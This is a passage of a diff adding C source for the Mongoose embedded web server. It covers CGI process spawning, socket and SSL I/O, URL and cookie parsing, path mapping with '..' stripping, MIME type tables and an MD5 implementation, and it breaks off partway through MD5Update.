#define set_close_on_exec(fd) // No FD_CLOEXEC on Windows
+

+
int mg_start_thread(mg_thread_func_t f, void *p) {
+
  return _beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
+
}
+

+
static HANDLE dlopen(const char *dll_name, int flags) {
+
  wchar_t wbuf[PATH_MAX];
+
  flags = 0; // Unused
+
  to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
+
  return LoadLibraryW(wbuf);
+
}
+

+
#if !defined(NO_CGI)
+
#define SIGKILL 0
+
static int kill(pid_t pid, int sig_num) {
+
  (void) TerminateProcess(pid, sig_num);
+
  (void) CloseHandle(pid);
+
  return 0;
+
}
+

+
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
+
                           char *envblk, char *envp[], int fd_stdin,
+
                           int fd_stdout, const char *dir) {
+
  HANDLE me;
+
  char *p, *interp, cmdline[PATH_MAX], buf[PATH_MAX];
+
  FILE *fp;
+
  STARTUPINFOA si = { sizeof(si) };
+
  PROCESS_INFORMATION pi = { 0 };
+

+
  envp = NULL; // Unused
+

+
  // TODO(lsm): redirect CGI errors to the error log file
+
  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+
  si.wShowWindow = SW_HIDE;
+

+
  me = GetCurrentProcess();
+
  (void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdin), me,
+
      &si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+
  (void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdout), me,
+
      &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+

+
  // If CGI file is a script, try to read the interpreter line
+
  interp = conn->ctx->config[CGI_INTERPRETER];
+
  if (interp == NULL) {
+
    buf[2] = '\0';
+
    mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%c%s", dir, DIRSEP, prog);
+
    if ((fp = fopen(cmdline, "r")) != NULL) {
+
      (void) fgets(buf, sizeof(buf), fp);
+
      if (buf[0] != '#' || buf[1] != '!') {
+
        // First line does not start with "#!". Do not set interpreter.
+
        buf[2] = '\0';
+
      } else {
+
        // Trim whitespace in interpreter name
+
        for (p = &buf[strlen(buf) - 1]; p > buf && isspace(*p); p--) {
+
          *p = '\0';
+
        }
+
      }
+
      (void) fclose(fp);
+
    }
+
    interp = buf + 2;
+
  }
+

+
  (void) mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%s%s%c%s",
+
                     interp, interp[0] == '\0' ? "" : " ", dir, DIRSEP, prog);
+

+
  DEBUG_TRACE(("Running [%s]", cmdline));
+
  if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
+
        CREATE_NEW_PROCESS_GROUP, envblk, dir, &si, &pi) == 0) {
+
    cry(conn, "%s: CreateProcess(%s): %d",
+
        __func__, cmdline, ERRNO);
+
    pi.hProcess = (pid_t) -1;
+
  }
+

+
  // Always close these to prevent handle leakage.
+
  (void) close(fd_stdin);
+
  (void) close(fd_stdout);
+

+
  (void) CloseHandle(si.hStdOutput);
+
  (void) CloseHandle(si.hStdInput);
+
  (void) CloseHandle(pi.hThread);
+

+
  return (pid_t) pi.hProcess;
+
}
+
#endif // !NO_CGI
+

+
static int set_non_blocking_mode(SOCKET sock) {
+
  unsigned long on = 1;
+
  return ioctlsocket(sock, FIONBIO, &on);
+
}
+

+
#else
+
static int mg_stat(const char *path, struct mgstat *stp) {
+
  struct stat st;
+
  int ok;
+

+
  if (stat(path, &st) == 0) {
+
    ok = 0;
+
    stp->size = st.st_size;
+
    stp->mtime = st.st_mtime;
+
    stp->is_directory = S_ISDIR(st.st_mode);
+
  } else {
+
    ok = -1;
+
  }
+

+
  return ok;
+
}
+

+
static void set_close_on_exec(int fd) {
+
  (void) fcntl(fd, F_SETFD, FD_CLOEXEC);
+
}
+

+
int mg_start_thread(mg_thread_func_t func, void *param) {
+
  pthread_t thread_id;
+
  pthread_attr_t attr;
+

+
  (void) pthread_attr_init(&attr);
+
  (void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
+
  // TODO(lsm): figure out why mongoose dies on Linux if next line is enabled
+
  // (void) pthread_attr_setstacksize(&attr, sizeof(struct mg_connection) * 5);
+

+
  return pthread_create(&thread_id, &attr, func, param);
+
}
+

+
#ifndef NO_CGI
+
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
+
                           char *envblk, char *envp[], int fd_stdin,
+
                           int fd_stdout, const char *dir) {
+
  pid_t pid;
+
  const char *interp;
+

+
  envblk = NULL; // Unused
+

+
  if ((pid = fork()) == -1) {
+
    // Parent
+
    send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
+
  } else if (pid == 0) {
+
    // Child
+
    if (chdir(dir) != 0) {
+
      cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
+
    } else if (dup2(fd_stdin, 0) == -1) {
+
      cry(conn, "%s: dup2(%d, 0): %s", __func__, fd_stdin, strerror(ERRNO));
+
    } else if (dup2(fd_stdout, 1) == -1) {
+
      cry(conn, "%s: dup2(%d, 1): %s", __func__, fd_stdout, strerror(ERRNO));
+
    } else {
+
      (void) dup2(fd_stdout, 2);
+
      (void) close(fd_stdin);
+
      (void) close(fd_stdout);
+

+
      interp = conn->ctx->config[CGI_INTERPRETER];
+
      if (interp == NULL) {
+
        (void) execle(prog, prog, NULL, envp);
+
        cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
+
      } else {
+
        (void) execle(interp, interp, prog, NULL, envp);
+
        cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
+
            strerror(ERRNO));
+
      }
+
    }
+
    exit(EXIT_FAILURE);
+
  }
+

+
  // Parent. Close stdio descriptors
+
  (void) close(fd_stdin);
+
  (void) close(fd_stdout);
+

+
  return pid;
+
}
+
#endif // !NO_CGI
+

+
static int set_non_blocking_mode(SOCKET sock) {
+
  int flags;
+

+
  flags = fcntl(sock, F_GETFL, 0);
+
  (void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
+

+
  return 0;
+
}
+
#endif // _WIN32
+

+
// Write data to the IO channel - opened file descriptor, socket or SSL
+
// descriptor. Return number of bytes written.
+
static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
+
                    int64_t len) {
+
  int64_t sent;
+
  int n, k;
+

+
  sent = 0;
+
  while (sent < len) {
+

+
    // How many bytes we send in this iteration
+
    k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
+

+
    if (ssl != NULL) {
+
      n = SSL_write(ssl, buf + sent, k);
+
    } else if (fp != NULL) {
+
      n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
+
      if (ferror(fp))
+
        n = -1;
+
    } else {
+
      n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
+
    }
+

+
    if (n < 0)
+
      break;
+

+
    sent += n;
+
  }
+

+
  return sent;
+
}
+

+
// This function is needed to prevent Mongoose to be stuck in a blocking
+
// socket read when user requested exit. To do that, we sleep in select
+
// with a timeout, and when returned, check the context for the stop flag.
+
// If it is set, we return 0, and this means that we must not continue
+
// reading, must give up and close the connection and exit serving thread.
+
static int wait_until_socket_is_readable(struct mg_connection *conn) {
+
  int result;
+
  struct timeval tv;
+
  fd_set set;
+

+
  do {
+
    tv.tv_sec = 0;
+
    tv.tv_usec = 300 * 1000;
+
    FD_ZERO(&set);
+
    FD_SET(conn->client.sock, &set);
+
    result = select(conn->client.sock + 1, &set, NULL, NULL, &tv);
+
  } while ((result == 0 || (result < 0 && ERRNO == EINTR)) &&
+
           conn->ctx->stop_flag == 0);
+

+
  return conn->ctx->stop_flag || result < 0 ? 0 : 1;
+
}
+

+
// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
+
// Return negative value on error, or number of bytes read on success.
+
static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
+
  int nread;
+

+
  if (fp != NULL) {
+
    // Use read() instead of fread(), because if we're reading from the CGI
+
    // pipe, fread() may block until IO buffer is filled up. We cannot afford
+
    // to block and must pass all read bytes immediately to the client.
+
    nread = read(fileno(fp), buf, (size_t) len);
+
  } else if (!wait_until_socket_is_readable(conn)) {
+
    nread = -1;
+
  } else if (conn->ssl != NULL) {
+
    nread = SSL_read(conn->ssl, buf, len);
+
  } else {
+
    nread = recv(conn->client.sock, buf, (size_t) len, 0);
+
  }
+

+
  return conn->ctx->stop_flag ? -1 : nread;
+
}
+

+
int mg_read(struct mg_connection *conn, void *buf, size_t len) {
+
  int n, buffered_len, nread;
+

+
  assert(conn->next_request != NULL &&
+
         conn->body != NULL &&
+
         conn->next_request >= conn->body);
+
  nread = 0;
+
  if (conn->consumed_content < conn->content_len) {
+

+
    // Adjust number of bytes to read.
+
    int64_t to_read = conn->content_len - conn->consumed_content;
+
    if (to_read < (int64_t) len) {
+
      len = (size_t) to_read;
+
    }
+

+
    // Return buffered data
+
    buffered_len = conn->next_request - conn->body;
+
    if (buffered_len > 0) {
+
      if (len < (size_t) buffered_len) {
+
        buffered_len = (int) len;
+
      }
+
      memcpy(buf, conn->body, (size_t) buffered_len);
+
      len -= buffered_len;
+
      conn->body += buffered_len;
+
      conn->consumed_content += buffered_len;
+
      nread += buffered_len;
+
      buf = (char *) buf + buffered_len;
+
    }
+

+
    // We have returned all buffered data. Read new data from the remote socket.
+
    while (len > 0) {
+
      n = pull(NULL, conn, (char *) buf, (int) len);
+
      if (n < 0) {
+
        nread = n;  // Propagate the error
+
        break;
+
      } else if (n == 0) {
+
        break;  // No more data to read
+
      } else {
+
        buf = (char *) buf + n;
+
        conn->consumed_content += n;
+
        nread += n;
+
        len -= n;
+
      }
+
    }
+
  }
+
  return nread;
+
}
+

+
int mg_write(struct mg_connection *conn, const void *buf, size_t len) {
+
  return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
+
                    (int64_t) len);
+
}
+

+
int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
+
  char mem[MG_BUF_LEN], *buf = mem;
+
  int len;
+
  va_list ap;
+

+
  // Print in a local buffer first, hoping that it is large enough to
+
  // hold the whole message
+
  va_start(ap, fmt);
+
  len = vsnprintf(mem, sizeof(mem), fmt, ap);
+
  va_end(ap);
+

+
  if (len <= 0) {
+
    // vsnprintf() error, give up
+
    len = -1;
+
    cry(conn, "%s(%s, ...): vsnprintf() error", __func__, fmt);
+
  } else if (len > (int) sizeof(mem) && (buf = malloc(len + 1)) != NULL) {
+
    // Local buffer is not large enough, allocate big buffer on heap
+
    va_start(ap, fmt);
+
    vsnprintf(buf, len + 1, fmt, ap);
+
    va_end(ap);
+
    len = mg_write(conn, buf, (size_t) len);
+
    free(buf);
+
  } else if (len > (int) sizeof(mem)) {
+
    // Failed to allocate large enough buffer, give up
+
    cry(conn, "%s(%s, ...): Can't allocate %d bytes, not printing anything",
+
        __func__, fmt, len);
+
    len = -1;
+
  } else {
+
    // Copy to the local buffer succeeded
+
    len = mg_write(conn, buf, (size_t) len);
+
  }
+

+
  return len;
+
}
+

+
// URL-decode input buffer into destination buffer.
+
// 0-terminate the destination buffer. Return the length of decoded data.
+
// form-url-encoded data differs from URI encoding in a way that it
+
// uses '+' as character for space, see RFC 1866 section 8.2.1
+
// http://ftp.ics.uci.edu/pub/ietf/html/rfc1866.txt
+
static size_t url_decode(const char *src, size_t src_len, char *dst,
+
                         size_t dst_len, int is_form_url_encoded) {
+
  size_t i, j;
+
  int a, b;
+
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
+

+
  for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
+
    if (src[i] == '%' &&
+
        isxdigit(* (const unsigned char *) (src + i + 1)) &&
+
        isxdigit(* (const unsigned char *) (src + i + 2))) {
+
      a = tolower(* (const unsigned char *) (src + i + 1));
+
      b = tolower(* (const unsigned char *) (src + i + 2));
+
      dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
+
      i += 2;
+
    } else if (is_form_url_encoded && src[i] == '+') {
+
      dst[j] = ' ';
+
    } else {
+
      dst[j] = src[i];
+
    }
+
  }
+

+
  dst[j] = '\0'; // Null-terminate the destination
+

+
  return j;
+
}
+

+
// Scan given buffer and fetch the value of the given variable.
+
// It can be specified in query string, or in the POST data.
+
// Return -1 if the variable not found, or length of the URL-decoded value
+
// stored in dst. The dst buffer is guaranteed to be NUL-terminated if it
+
// is not NULL or zero-length. If dst is NULL or zero-length, then
+
// -2 is returned.
+
int mg_get_var(const char *buf, size_t buf_len, const char *name,
+
               char *dst, size_t dst_len) {
+
  const char *p, *e, *s;
+
  size_t name_len;
+
  int len;
+

+
  if (dst == NULL || dst_len == 0) {
+
    len = -2;
+
  } else if (buf == NULL || name == NULL || buf_len == 0) {
+
    len = -1;
+
    dst[0] = '\0';
+
  } else {
+
    name_len = strlen(name);
+
    e = buf + buf_len;
+
    len = -1;
+
    dst[0] = '\0';
+

+
    // buf is "var1=val1&var2=val2...". Find variable first
+
    for (p = buf; p + name_len < e; p++) {
+
      if ((p == buf || p[-1] == '&') && p[name_len] == '=' &&
+
          !mg_strncasecmp(name, p, name_len)) {
+

+
        // Point p to variable value
+
        p += name_len + 1;
+

+
        // Point s to the end of the value
+
        s = (const char *) memchr(p, '&', (size_t)(e - p));
+
        if (s == NULL) {
+
          s = e;
+
        }
+
        assert(s >= p);
+

+
        // Decode variable into destination buffer
+
        if ((size_t) (s - p) < dst_len) {
+
          len = (int) url_decode(p, (size_t)(s - p), dst, dst_len, 1);
+
        }
+
        break;
+
      }
+
    }
+
  }
+

+
  return len;
+
}
+

+
int mg_get_cookie(const struct mg_connection *conn, const char *cookie_name,
+
                  char *dst, size_t dst_size) {
+
  const char *s, *p, *end;
+
  int name_len, len = -1;
+

+
  dst[0] = '\0';
+
  if ((s = mg_get_header(conn, "Cookie")) == NULL) {
+
    return -1;
+
  }
+

+
  name_len = (int) strlen(cookie_name);
+
  end = s + strlen(s);
+

+
  for (; (s = strstr(s, cookie_name)) != NULL; s += name_len)
+
    if (s[name_len] == '=') {
+
      s += name_len + 1;
+
      if ((p = strchr(s, ' ')) == NULL)
+
        p = end;
+
      if (p[-1] == ';')
+
        p--;
+
      if (*s == '"' && p[-1] == '"' && p > s + 1) {
+
        s++;
+
        p--;
+
      }
+
      if ((size_t) (p - s) < dst_size) {
+
        len = p - s;
+
        mg_strlcpy(dst, s, (size_t) len + 1);
+
      }
+
      break;
+
    }
+

+
  return len;
+
}
+

+
static int convert_uri_to_file_name(struct mg_connection *conn, char *buf,
+
                                    size_t buf_len, struct mgstat *st) {
+
  struct vec a, b;
+
  const char *rewrite, *uri = conn->request_info.uri;
+
  char *p;
+
  int match_len, stat_result;
+

+
  buf_len--;  // This is because memmove() for PATH_INFO may shift part
+
              // of the path one byte on the right.
+
  mg_snprintf(conn, buf, buf_len, "%s%s", conn->ctx->config[DOCUMENT_ROOT],
+
              uri);
+

+
  rewrite = conn->ctx->config[REWRITE];
+
  while ((rewrite = next_option(rewrite, &a, &b)) != NULL) {
+
    if ((match_len = match_prefix(a.ptr, a.len, uri)) > 0) {
+
      mg_snprintf(conn, buf, buf_len, "%.*s%s", b.len, b.ptr, uri + match_len);
+
      break;
+
    }
+
  }
+

+
#if defined(_WIN32) && !defined(__SYMBIAN32__)
+
  //change_slashes_to_backslashes(buf);
+
#endif // _WIN32
+

+
  if ((stat_result = mg_stat(buf, st)) != 0) {
+
    // Support PATH_INFO for CGI scripts.
+
    for (p = buf + strlen(buf); p > buf + 1; p--) {
+
      if (*p == '/') {
+
        *p = '\0';
+
        if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
+
                         strlen(conn->ctx->config[CGI_EXTENSIONS]), buf) > 0 &&
+
            (stat_result = mg_stat(buf, st)) == 0) {
+
          // Shift PATH_INFO block one character right, e.g.
+
          //  "/x.cgi/foo/bar\x00" => "/x.cgi\x00/foo/bar\x00"
+
          // conn->path_info is pointing to the local variable "path" declared
+
          // in handle_request(), so PATH_INFO is not valid after
+
          // handle_request returns.
+
          conn->path_info = p + 1;
+
          memmove(p + 2, p + 1, strlen(p + 1) + 1);  // +1 is for trailing \0
+
          p[1] = '/';
+
          break;
+
        } else {
+
          *p = '/';
+
          stat_result = -1;
+
        }
+
      }
+
    }
+
  }
+

+
  return stat_result;
+
}
+

+
static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
+
  return (conn->ssl = SSL_new(s)) != NULL &&
+
    SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
+
    func(conn->ssl) == 1;
+
}
+

+
// Check whether full request is buffered. Return:
+
//   -1  if request is malformed
+
//    0  if request is not yet fully buffered
+
//   >0  actual request length, including last \r\n\r\n
+
static int get_request_len(const char *buf, int buflen) {
+
  const char *s, *e;
+
  int len = 0;
+

+
  for (s = buf, e = s + buflen - 1; len <= 0 && s < e; s++)
+
    // Control characters are not allowed but >=128 is.
+
    if (!isprint(* (const unsigned char *) s) && *s != '\r' &&
+
        *s != '\n' && * (const unsigned char *) s < 128) {
+
      len = -1;
+
      break; // [i_a] abort scan as soon as one malformed character is found; don't let subsequent \r\n\r\n win us over anyhow
+
    } else if (s[0] == '\n' && s[1] == '\n') {
+
      len = (int) (s - buf) + 2;
+
    } else if (s[0] == '\n' && &s[1] < e &&
+
        s[1] == '\r' && s[2] == '\n') {
+
      len = (int) (s - buf) + 3;
+
    }
+

+
  return len;
+
}
+

+
// Convert month to the month number. Return -1 on error, or month number
+
static int get_month_index(const char *s) {
+
  size_t i;
+

+
  for (i = 0; i < ARRAY_SIZE(month_names); i++)
+
    if (!strcmp(s, month_names[i]))
+
      return (int) i;
+

+
  return -1;
+
}
+

+
// Parse UTC date-time string, and return the corresponding time_t value.
+
static time_t parse_date_string(const char *datetime) {
+
  static const unsigned short days_before_month[] = {
+
    0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
+
  };
+
  char month_str[32];
+
  int second, minute, hour, day, month, year, leap_days, days;
+
  time_t result = (time_t) 0;
+

+
  if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
+
               &day, month_str, &year, &hour, &minute, &second) == 6) ||
+
       (sscanf(datetime, "%d %3s %d %d:%d:%d",
+
               &day, month_str, &year, &hour, &minute, &second) == 6) ||
+
       (sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
+
               &day, month_str, &year, &hour, &minute, &second) == 6) ||
+
       (sscanf(datetime, "%d-%3s-%d %d:%d:%d",
+
               &day, month_str, &year, &hour, &minute, &second) == 6)) &&
+
      year > 1970 &&
+
      (month = get_month_index(month_str)) != -1) {
+
    year -= 1970;
+
    leap_days = year / 4 - year / 100 + year / 400;
+
    days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
+
    result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
+
  }
+

+
  return result;
+
}
+

+
// Protect against directory disclosure attack by removing '..',
+
// excessive '/' and '\' characters
+
static void remove_double_dots_and_double_slashes(char *s) {
+
  char *p = s;
+

+
  while (*s != '\0') {
+
    *p++ = *s++;
+
    if (IS_DIRSEP_CHAR(s[-1])) {
+
      // Skip all following slashes and backslashes
+
      while (IS_DIRSEP_CHAR(s[0])) {
+
        s++;
+
      }
+

+
      // Skip all double-dots
+
      while (*s == '.' && s[1] == '.') {
+
        s += 2;
+
      }
+
    }
+
  }
+
  *p = '\0';
+
}
+

+
static const struct {
+
  const char *extension;
+
  size_t ext_len;
+
  const char *mime_type;
+
} builtin_mime_types[] = {
+
  {".html", 5, "text/html"},
+
  {".htm", 4, "text/html"},
+
  {".shtm", 5, "text/html"},
+
  {".shtml", 6, "text/html"},
+
  {".css", 4, "text/css"},
+
  {".js",  3, "application/x-javascript"},
+
  {".ico", 4, "image/x-icon"},
+
  {".gif", 4, "image/gif"},
+
  {".jpg", 4, "image/jpeg"},
+
  {".jpeg", 5, "image/jpeg"},
+
  {".png", 4, "image/png"},
+
  {".svg", 4, "image/svg+xml"},
+
  {".txt", 4, "text/plain"},
+
  {".torrent", 8, "application/x-bittorrent"},
+
  {".wav", 4, "audio/x-wav"},
+
  {".mp3", 4, "audio/x-mp3"},
+
  {".mid", 4, "audio/mid"},
+
  {".m3u", 4, "audio/x-mpegurl"},
+
  {".ram", 4, "audio/x-pn-realaudio"},
+
  {".xml", 4, "text/xml"},
+
  {".json",  5, "text/json"},
+
  {".xslt", 5, "application/xml"},
+
  {".ra",  3, "audio/x-pn-realaudio"},
+
  {".doc", 4, "application/msword"},
+
  {".exe", 4, "application/octet-stream"},
+
  {".zip", 4, "application/x-zip-compressed"},
+
  {".xls", 4, "application/excel"},
+
  {".tgz", 4, "application/x-tar-gz"},
+
  {".tar", 4, "application/x-tar"},
+
  {".gz",  3, "application/x-gunzip"},
+
  {".arj", 4, "application/x-arj-compressed"},
+
  {".rar", 4, "application/x-arj-compressed"},
+
  {".rtf", 4, "application/rtf"},
+
  {".pdf", 4, "application/pdf"},
+
  {".swf", 4, "application/x-shockwave-flash"},
+
  {".mpg", 4, "video/mpeg"},
+
  {".webm", 5, "video/webm"},
+
  {".mpeg", 5, "video/mpeg"},
+
  {".mp4", 4, "video/mp4"},
+
  {".m4v", 4, "video/x-m4v"},
+
  {".asf", 4, "video/x-ms-asf"},
+
  {".avi", 4, "video/x-msvideo"},
+
  {".bmp", 4, "image/bmp"},
+
  {NULL,  0, NULL}
+
};
+

+
const char *mg_get_builtin_mime_type(const char *path) {
+
  const char *ext;
+
  size_t i, path_len;
+

+
  path_len = strlen(path);
+

+
  for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
+
    ext = path + (path_len - builtin_mime_types[i].ext_len);
+
    if (path_len > builtin_mime_types[i].ext_len &&
+
        mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
+
      return builtin_mime_types[i].mime_type;
+
    }
+
  }
+

+
  return "text/plain";
+
}
+

+
// Look at the "path" extension and figure what mime type it has.
+
// Store mime type in the vector.
+
static void get_mime_type(struct mg_context *ctx, const char *path,
+
                          struct vec *vec) {
+
  struct vec ext_vec, mime_vec;
+
  const char *list, *ext;
+
  size_t path_len;
+

+
  path_len = strlen(path);
+

+
  // Scan user-defined mime types first, in case user wants to
+
  // override default mime types.
+
  list = ctx->config[EXTRA_MIME_TYPES];
+
  while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
+
    // ext now points to the path suffix
+
    ext = path + path_len - ext_vec.len;
+
    if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
+
      *vec = mime_vec;
+
      return;
+
    }
+
  }
+

+
  vec->ptr = mg_get_builtin_mime_type(path);
+
  vec->len = strlen(vec->ptr);
+
}
+

+
#ifndef HAVE_MD5
+
typedef struct MD5Context {
+
  uint32_t buf[4];
+
  uint32_t bits[2];
+
  unsigned char in[64];
+
} MD5_CTX;
+

+
#if defined(__BYTE_ORDER) && (__BYTE_ORDER == 1234)
+
#define byteReverse(buf, len) // Do nothing
+
#else
+
static void byteReverse(unsigned char *buf, unsigned longs) {
+
  uint32_t t;
+
  do {
+
    t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
+
      ((unsigned) buf[1] << 8 | buf[0]);
+
    *(uint32_t *) buf = t;
+
    buf += 4;
+
  } while (--longs);
+
}
+
#endif
+

+
#define F1(x, y, z) (z ^ (x & (y ^ z)))
+
#define F2(x, y, z) F1(z, x, y)
+
#define F3(x, y, z) (x ^ y ^ z)
+
#define F4(x, y, z) (y ^ (x | ~z))
+

+
#define MD5STEP(f, w, x, y, z, data, s) \
+
  ( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )
+

+
// Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
+
// initialization constants.
+
static void MD5Init(MD5_CTX *ctx) {
+
  ctx->buf[0] = 0x67452301;
+
  ctx->buf[1] = 0xefcdab89;
+
  ctx->buf[2] = 0x98badcfe;
+
  ctx->buf[3] = 0x10325476;
+

+
  ctx->bits[0] = 0;
+
  ctx->bits[1] = 0;
+
}
+

+
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
+
  register uint32_t a, b, c, d;
+

+
  a = buf[0];
+
  b = buf[1];
+
  c = buf[2];
+
  d = buf[3];
+

+
  MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
+
  MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
+
  MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
+
  MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
+
  MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
+
  MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
+
  MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
+
  MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
+
  MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
+
  MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
+
  MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
+
  MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
+
  MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
+
  MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
+
  MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
+
  MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
+

+
  MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
+
  MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
+
  MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
+
  MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
+
  MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
+
  MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
+
  MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
+
  MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
+
  MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
+
  MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
+
  MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
+
  MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
+
  MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
+
  MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
+
  MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
+
  MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
+

+
  MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
+
  MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
+
  MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
+
  MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
+
  MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
+
  MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
+
  MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
+
  MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
+
  MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
+
  MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
+
  MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
+
  MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
+
  MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
+
  MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
+
  MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
+
  MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
+

+
  MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
+
  MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
+
  MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
+
  MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
+
  MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
+
  MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
+
  MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
+
  MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
+
  MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
+
  MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
+
  MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
+
  MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
+
  MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
+
  MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
+
  MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
+
  MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
+

+
  buf[0] += a;
+
  buf[1] += b;
+
  buf[2] += c;
+
  buf[3] += d;
+
}
+

+
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
+
  uint32_t t;
+

+
  t = ctx->bits[0];
+
  if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
+
    ctx->bits[1]++;
+
  ctx->bits[1] += len >> 29;
+

+
  t = (t >> 3) & 0x3f;
+

+
  if (t) {
+
    unsigned char *p = (unsigned char *) ctx->in + t;
+

+
    t = 64 - t;
+
